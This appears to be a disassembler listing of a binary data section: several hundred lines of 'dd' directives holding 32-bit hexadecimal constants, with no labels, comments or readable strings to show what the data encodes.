		dd 99E90EEAh, 0DB32FFF1h, 7D1D8067h, 2549F8EDh,	62F66BB6h
		dd 0C140782Ch, 5B95B531h, 0D473B909h, 0D2932C7h, 4B9C190h
		dd 32E15112h, 3F38715Fh, 0F6FB5798h, 0DC579E90h, 9A2203Eh
		dd 0FF6A9176h, 99A58B7h, 19218438h, 80E7AC57h, 38D6A006h
		dd 0E236005Fh, 0F7BA5731h, 0F22B1FFh, 0A35BE089h, 7D78D282h
		dd 0C255D0E9h, 4ABB7809h, 4594F0F5h, 465780A2h,	3F379D17h
		dd 35EAFh, 1707BDA4h, 0C8388C98h, 6983D5B7h, 779BC92h
		dd 0B4E20B64h, 0CF44913Bh, 0F1552076h, 0F2811540h, 5B5AF6D7h
		dd 8078B96Dh, 28374ACBh, 8D8D717Eh, 60EF3849h, 80F7FFACh
		dd 2740B7A6h, 0D4DD1FFh, 208D5C0h, 0FDF25A1Ah, 9F41C48Ch
		dd 7AA395E8h, 0B89B205Eh, 4C66F3C3h, 26A2FA8h, 758379Fh
		dd 6173A593h, 7EDAEC3Dh, 0C09003C2h, 3BB0F09Ch,	0ECDE1699h
		dd 0CB0B2CD0h, 0D4677C72h, 0CD83E303h, 8C0EE9A2h, 0BBB16DE8h
		dd 0CCAE0478h, 0F10BBF85h, 8541E9CFh, 0CDAC0BEDh, 6F37DD4Bh
		dd 0B0FB3E20h, 13F718Bh, 9A63143h, 7FBE2763h, 6299AC2h
		dd 890EA5Bh, 78867BB5h,	0C2001F4Ch, 0FBFBDCCh, 259D0DBBh
		dd 0FC7323BCh, 0C4181B71h, 16613100h, 9D75EE11h, 0A9BD4F09h
		dd 55C44B6Fh, 0C8768FAAh, 0E8E0CF1Dh, 0EFED6ABCh, 643D8D09h
		dd 4ABB898Fh, 0EC04555Fh, 0D35EE92Dh, 0A5D7AC01h, 5FF26A59h
		dd 0F4012937h, 58C43ECh, 33408C2Ch, 0EA92DB5h, 2742D071h
		dd 9E580901h, 0C3468097h, 41482A19h, 6ACC7F02h,	0BA7148E4h
		dd 0A5E0DA13h, 7E01ED47h, 724CF3D8h, 504F00FEh,	4E382F98h
		dd 510327DCh, 47F62476h, 0ABA8996Fh, 0E7CFF082h, 6E555B5Ch
		dd 0BBF5020Bh, 4CCDC16Dh, 89C053C2h, 0DA8318F1h, 1598FDE8h
		dd 0B900E6F8h, 87FB7C8Fh, 4E8B22A3h, 94A80F9h, 144ABD8Dh
		dd 22DC1DACh, 76D18B25h, 0C53C401Ah, 0A502CE12h, 0B6602BC0h
		dd 0CB905711h, 5A00D506h, 0DE84F9C2h, 2CE44508h, 0B8468C1h
		dd 0D95C8A0Fh, 0CDBAE965h, 508C9F3h, 0DA53E81h,	0F3EDBB00h
		dd 40221427h, 2C9D2B61h, 49341AADh, 67736D22h, 16916074h
		dd 0C4A2602Eh, 0E8258723h, 1F58000h, 0A23DE961h, 32C4D546h
		dd 4955FE90h, 0CC5CB5FBh, 200729AEh, 2E650948h,	1F05A589h
		dd 0C9EA29FEh, 146044ADh, 85133365h, 9C74A21Fh,	7BDF296h
		dd 3D2FC6E8h, 2529F423h, 880260ECh, 0A5BC99E1h,	8A3D5F86h
		dd 3CC4804h, 2C3D6E81h,	0FA54CBA5h, 0B29B7325h,	0B924ADEEh
		dd 0DBEAD5BFh, 0ABDA811Fh, 123AEDCAh, 8089DB99h, 2AA18243h
		dd 8C8A0939h, 36C0E922h, 0EDA01D09h, 0FC5B632Dh, 3400C76Eh
		dd 0F84D68E9h, 6612C229h, 0B189A87Dh, 80EDB36Bh, 122004BDh
		dd 8583095Bh, 7FFCC02Bh, 3CD500DEh, 80891496h, 2B2DABC7h
		dd 0C2BE6DD2h, 0C9DC5C1Dh, 0ED2D550Ah, 251AE908h, 0B389F1E7h
		dd 59D2827Bh, 536C550Eh, 1AE5049Dh, 0E6B5AEE8h,	0B6D0A005h
		dd 2F50027Ch, 0CE58EA80h, 0DF9A875Dh, 7440E382h, 1646D6BDh
		dd 570060Ch, 184155F4h,	0D2068B6Bh, 80A007E6h, 0E15A1BEh
		dd 0AC57CB2Ch, 924B09CDh, 0BAD1F4B7h, 74FD9344h, 42C22DC0h
		dd 1607AD03h, 0CCD7D575h, 0AC155E07h, 12521340h, 3D721CA5h
		dd 0A0816D7Ah, 0A4EAD44Eh, 4BEC3C65h, 0D7803E9Eh, 0A32C2638h
		dd 0E76E7104h, 71BE3159h, 2E263DA4h, 0F65B6A9Dh, 218E7EC0h
		dd 2002DEECh, 0FF1F952Ch, 958666E1h, 9C09435Ch,	46D8D170h
		dd 0F54E6FF6h, 707DD38Ah, 6EB7B704h, 8207F989h,	7494B236h
		dd 0DA9F51CBh, 0F4842EB7h, 0A6B6604Dh, 5B91ABE0h, 2B509801h
		dd 0D495FBFAh, 0F177123Ah, 0FDCF0156h, 0FCB32A18h, 9BD2822h
		dd 0E3025E92h, 0AFE56DCBh, 6EB63575h, 0D78B28A0h, 8DCC321Ch
		dd 0FFFD568Bh, 7D82B103h, 0D15550BAh, 667C2FE2h, 0BCA95ACBh
		dd 1225DC9Bh, 8094376Ah, 0B48AB10Ch, 352FBF03h,	259B844Bh
		dd 22496801h, 87B53F70h, 0B6EC022Ah, 37FF6F21h,	0E98D80ABh
		dd 0F4352E37h, 4E60DF09h, 0D6EB5E94h, 0C1581946h, 7713A204h
		dd 0DEC5FB11h, 0EC5361AEh, 0BA9E6E01h, 0AD707E80h, 0DE03135h
		dd 200591A0h, 97024E97h, 164F0E8Bh, 905D7260h, 0F0BB27CEh
		dd 8A8D0D4Eh, 917EE06Fh, 0B8461F30h, 0F8125E1h,	64EBF056h
		dd 0E179F2EFh, 9935F4h,	0DE69B4A8h, 431D261Bh, 589C4F7Fh
		dd 63621FDEh, 0CB80CBF6h, 0EDA48024h, 0F2468FE4h, 0A9AC8753h
		dd 0C68DD024h, 0FEF60A61h, 386C1395h, 0CB4B59CEh, 0AC4F4D8Bh
		dd 0B83925E8h, 5DEBBAD9h, 0F0B76116h, 0D3DE03B3h, 43C6C7D9h
		dd 0BDF8A520h, 6F1A55AFh, 3AB6A240h, 0C0A02CF5h, 7E67D461h
		dd 472900E7h, 93AFC2A8h, 0A501F260h, 0E65AB1BCh, 0F72B658Bh
		dd 0D0F83483h, 58682D19h, 3E926E2Bh, 0CEC9CB84h, 8A17667h
		dd 2DB040D7h, 4B268657h, 0FC2FC0DDh, 16556292h,	4130D80Bh
		dd 0E2DAF1F9h, 0AEBEF880h, 29B619Fh, 9DD15027h,	0E0A8D990h
		dd 52FE4077h, 9700717Fh, 11DB81E1h, 4A6ACE19h, 0FB1FA05Bh
		dd 4B929697h, 295B8AF9h, 1411EA40h, 24D77D00h, 0BDFE9F41h
		dd 0E80047F8h, 14E402BAh, 143729F7h, 0E16E83EEh, 3273BCC0h
		dd 92019170h, 8EA21211h, 8AC8A5DDh, 687848h, 811EE4BCh
		dd 7B3FEDF7h, 0E95F6313h, 8CF88823h, 93EE7BBCh,	7CA01CB6h
		dd 0D001956Fh, 0EC316951h, 243F9FCEh, 1020BE77h, 2EBE10B6h
		dd 0DE085B31h, 8F12EC00h, 0E83CC75Fh, 0C2CC2659h, 2947AD78h
		dd 39178513h, 8A052A7h,	4D0958FFh, 16DD3168h, 5F176B2Eh
		dd 0F2CFA1C0h, 1D850112h, 5848D4ACh, 5F0B957h, 0EA00F502h
		dd 0DC89777Bh, 0E688BF08h, 0A6784B4Ah, 3017B239h, 8805205Ah
		dd 0EDB529B6h, 8BD291EAh, 9C6B2FFBh, 33021723h,	5EA5B414h
		dd 5860668Eh, 0C814E495h, 610216C0h, 6396FE8Ah,	5B833BC4h
		dd 1D17A7CCh, 0ACD8FD03h, 641C8C1Ch, 84897862h,	558CD7C9h
		dd 0AC4BD65Ch, 1DB251A6h, 30C30h, 6705B597h, 0F3A68B49h
		dd 6D278698h, 0AE424526h, 0D426D4A1h, 0F86A843h, 0B41D2B86h
		dd 0C10540E1h, 7303E3BFh, 0C3B56DABh, 669CC254h, 80930079h
		dd 4F5AC06Eh, 3B00EDFEh, 705097F8h, 4E5396Fh, 0FC842759h
		dd 0C184BC5Bh, 157D9501h, 8216E22Ah, 732135BDh,	295282A1h
		dd 4BD01185h, 0B81F5B4Ah, 0C2830EC4h, 0C01DDBEAh, 9F403BD5h
		dd 89B006E7h, 932FA9BDh, 3120502Ch, 795FD889h, 8160811Eh
		dd 0C962F2D2h, 0E76378h, 0D36C2E7Ch, 9E22247h, 0F561B4E5h
		dd 0F8B1079h, 0BBA5C883h, 1DB61310h, 2A7AAB0Eh,	0AF98D004h
		dd 0E3DDC0E9h, 3309B80Dh, 941645BDh, 0D3801711h, 6010EBB7h
		dd 62B90241h, 89198789h, 799255BAh, 0FD6F4C5Fh,	79B50108h
		dd 0A5C82771h, 21974947h, 9D315111h, 5B33A42Fh,	91CB3597h
		dd 0B382801Dh, 42C1391h, 0D1F33B1Eh, 0D0D1B8F4h, 7565C0BEh
		dd 9D26EE2h, 0DBDF157Fh, 3E45C071h, 24DB7BFEh, 871C9158h
		dd 2D507722h, 0B5910B8Ah, 1B2AC283h, 4961F309h,	0CB6BBD33h
		dd 0CB85073h, 7988B28Bh, 1DE5890Bh, 97EB9655h, 8740A74Dh
		dd 0E3829DEh, 13DB93B8h, 0AC99EDF6h, 73058C18h,	0E48D7414h
		dd 951220FCh, 887FE9E5h, 50555ADFh, 7803B37Eh, 67009E22h
		dd 3A0CD4D8h, 9DABE2E0h, 0F8CB117Dh, 0BED8532Eh, 5FF359B6h
		dd 0D283AE8h, 0DDBD0317h, 0D5DA92E5h, 0CB89A427h, 3EC62DE9h
		dd 0F28B09DEh, 0AA5E1202h, 7169E47Eh, 39D46B09h, 2D576A40h
		dd 0D9560050h, 87CEE46Ch
		dd 0B6007C5Ch, 0B958040h, 1CE98F5Dh, 55FFF2F4h,	0CC3E1E52h
		dd 509B000h, 4FCDDE03h,	9500AB7Fh, 8C25A4AAh, 5AD183C7h
		dd 0F7FCE45Bh, 0EFAE992Ah, 0C6DC2325h, 8AD89DF6h, 10A517B4h
		dd 0ECD0FDh, 0B3DC9A5Fh, 0DDA8084Bh, 1924AF04h,	0DEBF39EFh
		dd 0DC15C2BBh, 0EC4663D4h, 6D3E0552h, 119F05A5h, 80FA200Bh
		dd 0AC2B0EFh, 61E9E781h, 0BE84351Ch, 0E90788AAh, 1718BCEBh
		dd 1CCE775Ah, 0BD26562Ch, 0CFDB8109h, 0E5925007h, 0E965FF33h
		dd 57812009h, 7F39662h,	2523A278h, 255C5E99h, 1E399DC1h
		dd 0ABFC630Ah, 0FF0C9068h, 0DC579ED1h, 0F5DFAF0Bh, 0CD895F25h
		dd 0D2B139D1h, 8E2E2079h, 0F9CC213Ch, 16BC1817h, 0BA51439Fh
		dd 6ADBA370h, 78EC9302h, 2D18D352h, 25BA0D34h, 9DAFC52Ah
		dd 907B926Dh, 178A97Dh,	310FCFDEh, 7B32206Fh, 0CB0071D6h
		dd 3C5372D7h, 15B7574h,	5CEFF6FCh, 20585AC4h, 0AE152A49h
		dd 0AD539061h, 1A7257Eh, 4F0C09C0h, 3CA6F43h, 0FF2F15A0h
		dd 8A50B901h, 0ACE95BDDh, 0B4F9382Eh, 69E98840h, 0DBD7190Ch
		dd 0BD093B41h, 15ED2AD8h, 0F883F3C1h, 5A0DDD6Bh, 54BAD212h
		dd 51178001h, 2973FE1Ch, 1977E888h, 0A4B60008h,	0B43C1361h
		dd 8A5089EDh, 904C5095h, 143812C0h, 0F85912F6h,	0AAECC54Ah
		dd 0A81C197Eh, 6C50C0D1h, 2E09BB0Dh, 76B9D0B7h,	2E5B816Dh
		dd 820FE731h, 0ADCA7Ah,	0E3498F2Ch, 270DDB15h, 5C5EFF6Ah
		dd 7F9D00DCh, 5BDC236h,	569007BFh, 0B3B6641Dh, 7D0B07AEh
		dd 0E34C21h, 5B8BAC15h,	0C95E453Ah, 0F4E17D02h,	4212DCABh
		dd 1C9D8438h, 40A211BCh, 82D9BF10h, 29C59960h, 9D70E680h
		dd 0AEB1B290h, 0E747BE00h, 5C5462A8h, 1E9E00BBh, 0C4BF57F5h
		dd 3325F760h, 3CF65C5Bh, 17EBE984h, 2226BD0Fh, 8D89280Ah
		dd 47C4B5D8h, 37C78102h, 5E72E032h, 0BBB4113h, 945EB1F5h
		dd 0C0042C09h, 52E6BF79h, 0E02BA525h, 0A4890F17h, 0E910BDA1h
		dd 45009488h, 21B31208h, 5A9E9Fh, 318D9B3Dh, 0A3A2F948h
		dd 0AD0E4F5Ah, 27ABB3B7h, 35041447h, 1F9F599h, 0D11EA76Dh
		dd 54711323h, 822AF4Fh,	0D3ECA400h, 697910C7h, 23BB0AA9h
		dd 98E6A93h, 71D9E95Fh,	8236348Bh, 75068D85h, 0BD145D66h
		dd 7009041Dh, 821E2580h, 6D481055h, 0F84E013Ch,	7DB8030h
		dd 29F72A5Fh, 0E9FE814Bh, 0BF08414Bh, 0A4E37AFBh, 77CE274Eh
		dd 7FA6F05Eh, 0D5127299h, 24F2C36Eh, 88832A29h,	4E3018F9h
		dd 84A583DFh, 827B509Dh, 15436567h, 97699F65h, 3D082A73h
		dd 1A467CFCh, 384E7C00h, 0E05D8267h, 0E3129990h, 0D0676A1Fh
		dd 77F69490h, 0BD51989Ah, 3E46C610h, 7FC25800h,	0B2252A85h
		dd 837A0510h, 1F60789Ah, 171410CFh, 6BBF5F61h, 561B2932h
		dd 20A21E0Eh, 9C2CAFEh,	92599D67h, 8D2B987h, 0BAB7550Bh
		dd 0BEFC6384h, 0BB19D3ABh, 9C83683h, 0C5D64DB5h, 9DFCDBB9h
		dd 0F92FBF04h, 31FF286Fh, 6BC6B308h, 0DC66DCC9h, 300810F7h
		dd 0BD1209ACh, 0EBE61DFDh, 4466FD3h, 0F6A95526h, 7A08BE81h
		dd 0E08AF62Fh, 3D147Ah,	0FA8BFCE5h, 5B1FCF81h, 0D56A409h
		dd 83D7788h, 0BC42A587h, 0CA7F41F0h, 0BD844AB7h, 8C1CAC43h
		dd 8C51DD00h, 0F6A5653h, 0C87A4B76h, 0B0F4DFCh,	20BD91B5h
		dd 66674C16h, 3CFD0008h, 0DA20BCFEh, 852F315Eh,	5CA962F9h
		dd 0CF7BE962h, 4CFF1750h, 3D122391h, 0F862F31Ah, 0E7941DD2h
		dd 815EC0EFh, 590A96EBh, 48CA444Bh, 0BEFA127h, 7BED3E61h
		dd 0BF477C0h, 85C76E91h, 0C04F4E54h, 82B2E55h, 378FC88h
		dd 4149BD9Eh, 0AE8D60CAh, 13DDB420h, 14E7E298h,	0BE654353h
		dd 3D10DE4Ch, 60611E2Ah, 1EADC42Dh, 0EDF2EB80h,	6CA8C5D9h
		dd 0B3076B2Ch, 0C0E84916h, 0E1FFF5A0h, 2D46B7BDh, 5A1752DEh
		dd 66E040FEh, 93D6E781h, 0B7244D80h, 5E11C747h,	48C02658h
		dd 0BCA309E6h, 52F71712h, 4A5596BEh, 73313520h,	0FD9D165Bh
		dd 0E2BEE816h, 4995104Dh, 69713AEh, 0AD270459h,	3AA3E0F5h
		dd 0A69866FDh, 0B09E1A28h, 5CBCA427h, 0B47CDE62h, 0E02F3012h
		dd 2025AB04h, 9CF3831Eh, 0EB8C55F0h, 43D16C88h,	0EBDB5F15h
		dd 4A40EC97h, 1E042185h, 91BC2D41h, 4DAF30C8h, 29E4C216h
		dd 55C462F5h, 0BAD5DFBBh, 0E29DAC63h, 1FA6280Dh, 0C009674Ah
		dd 4E7029DBh, 0B2310A57h, 27A5B0C4h, 6A4F1EF2h,	1B00F26Fh
		dd 685B51F8h, 322FA0DFh, 81B406B4h, 63200EA6h, 0F7E04BECh
		dd 1FC2F828h, 0EF60A997h, 0F2674061h, 9B5E6072h, 5B348D9Ch
		dd 6E9820D8h, 0F495DDECh, 85894255h, 2FCD3F7Fh,	0D7FC6070h
		dd 429DEF16h, 2070B07h,	66375D09h, 0FF8F8D89h, 0B940B39Ah
		dd 0F2593B2h, 199E623h,	205BBE60h, 2F6178ADh, 1B7EA016h
		dd 9FE8D204h, 0D29EBDDFh, 0CD80BD9Ah, 0B0DD3B30h, 8C565D01h
		dd 2F719D2Bh, 80A0702Fh, 7BEFB4D7h, 5004356Fh, 0EECC9BF6h
		dd 99A2278Ah, 5525ADF8h, 0FBAAE2D4h, 5909785Dh,	7196B301h
		dd 94D96E8Bh, 45A1DB20h, 538F6C26h, 0ECF5004Ah,	34A9752h
		dd 16902D75h, 1759A7D3h, 0ACFC9418h, 0E4C4684Ah, 382E59B1h
		dd 0A639BBD1h, 5619A570h, 0EF801275h, 412E272Dh, 0DE3ABBCCh
		dd 3B75BA8Bh, 0B72D70D8h, 0B99DD179h, 0EDB7B622h, 0ECCE40A2h
		dd 7B034D3Dh, 0BBD635A0h, 7D7812B8h, 60B7F31Dh,	0F8F49814h
		dd 5F503990h, 1E5C572Dh, 0C8E1BF63h, 3A5B67DDh,	60818A90h
		dd 4F14C081h, 9B79C634h, 0A7B5803Ah, 48E21701h,	0E4770070h
		dd 66975E2Bh, 615B18F8h, 16B2B2A6h, 2D019030h, 7CD161AAh
		dd 83FF35EBh, 31179D7Bh, 6E092599h, 954A768Eh, 8177DB6Bh
		dd 54680A82h, 27153CD0h, 3D5ED95Eh, 8E4B1B11h, 9663B9BEh
		dd 1980AE3Dh, 6D9F46D8h, 0F1049121h, 5F0C497Eh,	0C5032781h
		dd 0B8F1C43Eh, 751EA279h, 5C60AFCFh, 54B4863h, 0D89017CFh
		dd 0EDD62C87h, 0D86B5397h, 0C705382Eh, 0EF1C1FFh, 30FD50C1h
		dd 924EA33Ah, 12BD4452h, 958C18ACh, 900991D0h, 0F4B53195h
		dd 0D654A7EAh, 0B47B0255h, 0F57E8F0Fh, 0A5325149h, 0B050D7Bh
		dd 0C6FC05BDh, 202F984h, 12890F96h, 1705EF03h, 2C814A29h
		dd 5F828E10h, 9FD5396h,	71E2534Fh, 0E50F1C14h, 0B8D3242Ah
		dd 8DAAD88Ah, 4498AF1Dh, 9E706017h, 0C8AE4B25h,	383E6B5Eh
		dd 0BE49001Ah, 0B0416FC8h, 0BFA00111h, 7CE7ACCh, 0CEDD2B5Fh
		dd 82F7DA2Fh, 75B25458h, 5AAC78C7h, 0D633CF02h,	25555E0Dh
		dd 0B7DC0ADEh, 9CA022F1h, 61180537h, 20E9ECE0h,	5B8B9760h
		dd 7EDC92D4h, 6099142Fh, 124C553h, 0BE5E808Fh, 4393168Fh
		dd 0A1F6614Ah, 29301AB2h, 9F180B42h, 24541BCFh,	91F3DA12h
		dd 946F845Bh, 25C0FCD4h, 6458CD5Bh, 350D601Ah, 0F1730B11h
		dd 7918D188h, 2D000F67h, 5D3DFC38h, 1C94ED01h, 8B29D728h
		dd 0BEE2A530h, 605A4F75h, 517EAB9h, 85C50102h, 758AE438h
		dd 56F8EE29h, 0F5B3BF05h, 3CD12B0Eh, 28160381h,	96B860BDh
		dd 850138F5h, 23F90EADh, 8C401244h, 0C960904Fh,	7A895495h
		dd 35DD55C2h, 80E3A33Ah, 0F442AD17h, 9F252272h,	11B6E5F5h
		dd 76BB0759h, 50843B70h, 2D4920FAh, 61032F97h, 0E392DB24h
		dd 192CA814h, 14C47D27h, 16E9A37Ch, 5FE20C07h, 74FED070h
		dd 2E07477Fh, 13C97CC5h, 0FDBA73A3h, 1E47BBBh, 950917E0h
		dd 50A2211h, 29BD2B53h,	5E5B8192h, 18FF6BC7h, 1EB0CBFFh
		dd 816982BBh, 1DDB45B9h, 0E25C26E6h, 0B8983017h, 0E6EE7325h
		dd 0BD2909AEh, 9C571FA9h
		dd 7E364596h, 9206782h,	0DB978C70h, 1CF1D848h, 0A56B1E3Fh
		dd 11647A3Dh, 0A42579B5h, 3213FA84h, 7CD8260Bh,	0A92002BCh
		dd 515E97E9h, 1123727h,	9D89F91Fh, 8BC55179h, 0B8762DC1h
		dd 63109F8Dh, 83008803h, 0C74355E0h, 2DFB1280h,	0DE5B794Dh
		dd 818D0182h, 0D2F15515h, 57253142h, 0DF818DB8h, 0E9938602h
		dd 0E0B3900Eh, 1E4FBF85h, 6A72EEBDh, 0C8CABFD5h, 0E57A18D3h
		dd 0C192B2D9h, 6A7EC155h, 0F050B62Fh, 289D09A9h, 136D223Dh
		dd 9B07995Fh, 43EAC089h, 25302032h, 287EE8F4h, 5506DD09h
		dd 81023E6Ch, 801C69E7h, 2DB55E6Eh, 0C901D937h,	5E9BD8B4h
		dd 1254BBE0h, 0B8190FFEh, 5ED93A39h, 0B3E1ADA6h, 0EDCFF428h
		dd 52B5A118h, 0AD12CDC6h, 621444E3h, 1200C516h,	57AFBFAh
		dd 901B601h, 6E22D5BDh,	278078DCh, 1A4644EBh, 42FA294Bh
		dd 53D1FFFAh, 177D2040h, 0B19C5F9Fh, 80E8209Dh,	0B6AB5D7h
		dd 0AD9D3302h, 109DD372h, 1C3B8F3Fh, 0C034BC52h, 515BF8EFh
		dd 0A801B042h, 4581E395h, 8861B953h, 5FC84Ch, 69586BA7h
		dd 0C642971Ah, 370089FEh, 632C14Eh, 7192438Ah, 0B8B7975Bh
		dd 98977081h, 93413E0Ch, 0DB2B0465h, 0C018C8ADh, 99EF79AEh
		dd 4BE9023Bh, 6924B5CEh, 0C06D27A2h, 1B8BECE0h,	51502DDDh
		dd 89085256h, 4B6240Dh,	0C35F61FEh, 0AB8C092Ch,	0F94EC6CBh
		dd 13A865h, 2C0B5EF7h, 60566CD6h, 1F1D514Ch, 68A5AD85h
		dd 27805765h, 61DA5DC7h, 427EEB0h, 70777B24h, 0C60C74F7h
		dd 4E14BAA2h, 0BF7B9DFEh, 0E7181471h, 975DBB3Ah, 0B1526976h
		dd 885FF7E6h, 0D9174898h, 0C112CBDEh, 577D6E5h,	1BF07AA0h
		dd 843BC07Fh, 0CB170426h, 0FEF98D89h, 0ED94844Bh, 0B7FF2765h
		dd 64D50056h, 28CF16A7h, 68964814h, 0E5118D2h, 9761B565h
		dd 0ADCDDCAEh, 596A307Dh, 0E8CA234Bh, 81021722h, 0D32B69F3h
		dd 0EBE5C02Ah, 0B04F25F9h, 70E65321h, 0C47DD653h, 0E45F1E2Dh
		dd 14F1A771h, 6D671980h, 986C04B9h, 0F1FE02FDh,	0AC15BA2Dh
		dd 52FE64D5h, 0D22C5DDh, 0BF009C98h, 32E88FE5h,	7A137C67h
		dd 66A60F69h, 0F0B217BBh, 0A705BFFCh, 0BA31E1F3h, 81EAE325h
		dd 0A724D17Ch, 0BF71C097h, 0C3204B2Eh, 908C60F7h, 0B0E08157h
		dd 5E60B00h, 0A7E1BB61h, 97507647h, 0D98AE680h,	2ECEC82Bh
		dd 81D140DEh, 25619EC7h, 91215DBh, 2510EA7Ch, 26D50C62h
		dd 4A98521h, 5E5BD10h, 3FA45582h, 50D7BC86h, 0C4B9906h
		dd 202ED7C9h, 0A1B64F3Ah, 68A79609h, 45CF7A4Bh,	33EC2E11h
		dd 1738E986h, 0C97997B0h, 4672558Ah, 0E44BB325h, 9F2145C8h
		dd 0A514FBDEh, 0C6FE3214h, 0A8A2A85Dh, 33096320h, 5E308DBDh
		dd 0FDCB51E9h, 19861E07h, 0C57C7474h, 0F3AFDBB5h, 0F959D3BAh
		dd 5FFE3100h, 2BB3BCh, 8786EB1Fh, 53D9F7C4h, 0DBF2CD2Dh
		dd 1B2083h, 0D42A0A74h,	9561CE16h, 0AF997200h, 649459A0h
		dd 20E49084h, 64982A69h, 6FA8084Bh, 60D08296h, 0F824A15Eh
		dd 2B1305DEh, 0C1EC9F3Fh, 203E1C6h, 0EAA143FCh,	8B8DB7C0h
		dd 18015BA7h, 2FD22BDBh, 0F680219Bh, 0F73543A3h, 71EF8102h
		dd 5E098426h, 6E007BB1h, 49D381FAh, 95519F19h, 9D8471D1h
		dd 6B290975h, 46805DDBh, 72E251FBh, 5C83F037h, 38BD2174h
		dd 1579FCC9h, 5035557Ah, 487C0E00h, 971C75Ah, 3634406Ah
		dd 3AA4A271h, 0A704F292h, 61090B59h, 6A442479h,	4CDDDCEAh
		dd 8997E702h, 0F0C8CA3Ch, 0B88E3880h, 0D1599C4Fh, 7B10B907h
		dd 8F40ED05h, 0DB116Dh,	0CA29B0C9h, 17B559B3h, 0F822314Fh
		dd 44B5575Fh, 84801891h, 0E53AFBF1h, 0C5204798h, 9D012F32h
		dd 0E14143D4h, 282EEFB7h, 5C9DDFEDh, 9C01F463h,	0F9D56F3Ch
		dd 5C2C4E75h, 0F6C70B25h, 814EC511h, 121821C8h,	50F95CF5h
		dd 20BE0479h, 118B03F4h, 98F8E689h, 3C1651C9h, 53D680DAh
		dd 3FF509C0h, 2D008CAFh, 0BF04029Ah, 6DF8E8CCh,	37601B25h
		dd 40070044h, 897301EBh, 5C4112BDh, 46B42E07h, 2F004E3Ch
		dd 0A40C7E6Ah, 38AC5C97h, 860764E0h, 0C4C3AD1Eh, 4B1ABCFBh
		dd 121C4F6Eh, 7597C0BEh, 7EA9AD9Ch, 23E2B15Bh, 0F1FF3707h
		dd 227AF97Ch, 0E64F9F43h, 1BE3A0ABh, 0DBA101B5h, 75D07939h
		dd 94E32E6Fh, 2A5FC24Fh, 961096D7h, 0AC01D430h,	5C0D3FA9h
		dd 3240E8E2h, 0C6A41Dh,	0BBCB47D2h, 319904CCh, 94605B26h
		dd 5216B02h, 0C601600Dh, 6DA99761h, 0CF43BF4h, 0F774F613h
		dd 2C4161DCh, 1769B1CBh, 839BBF00h, 900CF012h, 0ACDECE83h
		dd 84B8D8F9h, 0A6737000h, 0E38096ABh, 8A0F281Ah, 9D330A7Dh
		dd 1662209h, 0BED24ABBh, 0BC292B19h, 0B3CC86Eh,	485C930Bh
		dd 13C0DEBAh, 8C30BA50h, 0FCEDC1BBh, 86C69536h,	92FF1F20h
		dd 12EBB0A5h, 0AFF627B8h, 5B565F20h, 9067B858h,	0C9E55DBDh
		dd 0AC8EAD4Eh, 7E008C1Dh, 0A7C73069h, 0EC38F183h, 0F392C47Ch
		dd 5FA4BD21h, 0FE976FDEh, 9D208857h, 3F7247Dh, 0C3134EB9h
		dd 5A0389Ah, 0FE251935h, 0ECAB5277h, 1CA2FE9h, 0CA254D71h
		dd 0DEF47691h, 0D6AC4A07h, 48D125ECh, 817A89D2h, 42F29A8h
		dd 15A9A6C1h, 96BCB904h, 803011F0h, 3509E781h, 79097427h
		dd 78F32FA9h, 99F8778h,	8536F8A4h, 0C25A8B44h, 0ACD2E5ACh
		dd 0A69080F9h, 1CD28FAh, 0C261A569h, 6A95016Eh,	0DD5F02D2h
		dd 82CD6CBAh, 0A19AAB63h, 1900493Dh, 2277D26h, 606B7689h
		dd 0F5385CA3h, 4D220800h, 0B2D835BAh, 94A2525h,	9F4863D1h
		dd 250BD508h, 8A095C50h, 60310FDAh, 9E585A54h, 57486196h
		dd 85E7F03Bh, 0CA438213h, 0ECEF60BEh, 6A48C2C5h, 0CBF73DD8h
		dd 0F32AACCDh, 5F5724C7h, 0DF56DD12h, 0BB2D04AEh, 5DA2AFE6h
		dd 0B62DB500h, 0F0232BF7h, 0AC7E0A00h, 8532062Ah, 4A04006Fh
		dd 664557F2h, 0D5B67BBh, 2DDAE3A4h, 0D56AF9B8h,	5969615Ch
		dd 0BB41004Dh, 22A4B94Dh, 50C913Ch, 7D9F1637h, 0C1001EF2h
		dd 241CB7C0h, 8E00FA34h, 89E96765h, 7C2C86AEh, 0CF810F83h
		dd 5CE1AB23h, 0C4605F5Bh, 0BD580961h, 905654BCh, 0BF50A4A0h
		dd 188DEB0Fh, 90B63649h, 0CD47B4E0h, 92947BB5h,	7DF3C8C9h
		dd 0A977306Fh, 0EB7D79F8h, 79508BDBh, 8AAB4BC1h, 982225A1h
		dd 0B135E9E4h, 2DD58B7Ch, 0D200F57Bh, 2C8061B3h, 88A30075h
		dd 9F15BF23h, 0D74B3162h, 0FB86ECEh, 768C8F4Fh,	6E204A56h
		dd 0E4E025Eh, 0C17E9903h, 282FD06Dh, 0BD9FBA81h, 0DB4D8BFFh
		dd 58DBFD08h, 5B95048Eh, 97F1D0CCh, 730BE301h, 50FCF53h
		dd 82A27Bh, 3CD16B0Eh, 2D95A72h, 648B5758h, 0AE56FD8Ah
		dd 938156C5h, 953D1ACDh, 8FEEFE25h, 403FEDBDh, 0BC95F33Fh
		dd 23E868FEh, 0ED98ECB5h, 0F26A2FF9h, 9CB9D745h, 109F7FA8h
		dd 68D426h, 0F2516B8Eh,	96E5CDCCh, 0D1C8605Bh, 0D2F2F8h
		dd 45AFA4E4h, 679661B1h, 5E0B4013h, 0FB71F8B3h,	96150710h
		dd 0C011ED9Fh, 7E4CDFF0h, 64B12FE3h, 0DA2B1425h, 0C116C83Dh
		dd 6EF36D51h, 6CDAAD80h, 20E09840h, 6102238Dh, 3354CCBFh
		dd 453A5D0Eh, 9D4D6D4h,	2A986529h, 0B4FD9B82h, 0BD57E492h
		dd 0AA73009Ch, 8133C872h, 0F0FD352Dh, 1D25206Ah, 0CDCDF54Bh
		dd 0D87C101h, 80B3302Fh, 0D39DD2EFh, 859D0542h,	0F985E40Bh
		dd 73B98997h, 3B08701Bh, 5E7F3500h, 0EB809E83h,	0B18B9786h
		dd 0CCC07DEDh, 0AC67C8Ch, 4427997Ah, 96D304DBh,	2EC8A18Dh
		dd 1723AF6Bh, 112FF0A5h, 406810Fh, 1B61BD33h, 1CEDDAEh
		dd 0AC2743A9h, 2DEC56Ah
		dd 278837F3h, 66FD540Dh, 0B1575C84h, 0E8217512h, 0D113A404h
		dd 8EC73694h, 0BBF72175h, 0D2F2313Dh, 4534AA25h, 84E6F2BEh
		dd 98A88B0Fh, 779D9C9h,	7FFA3AFAh, 0D180236Ch, 7D5205CFh
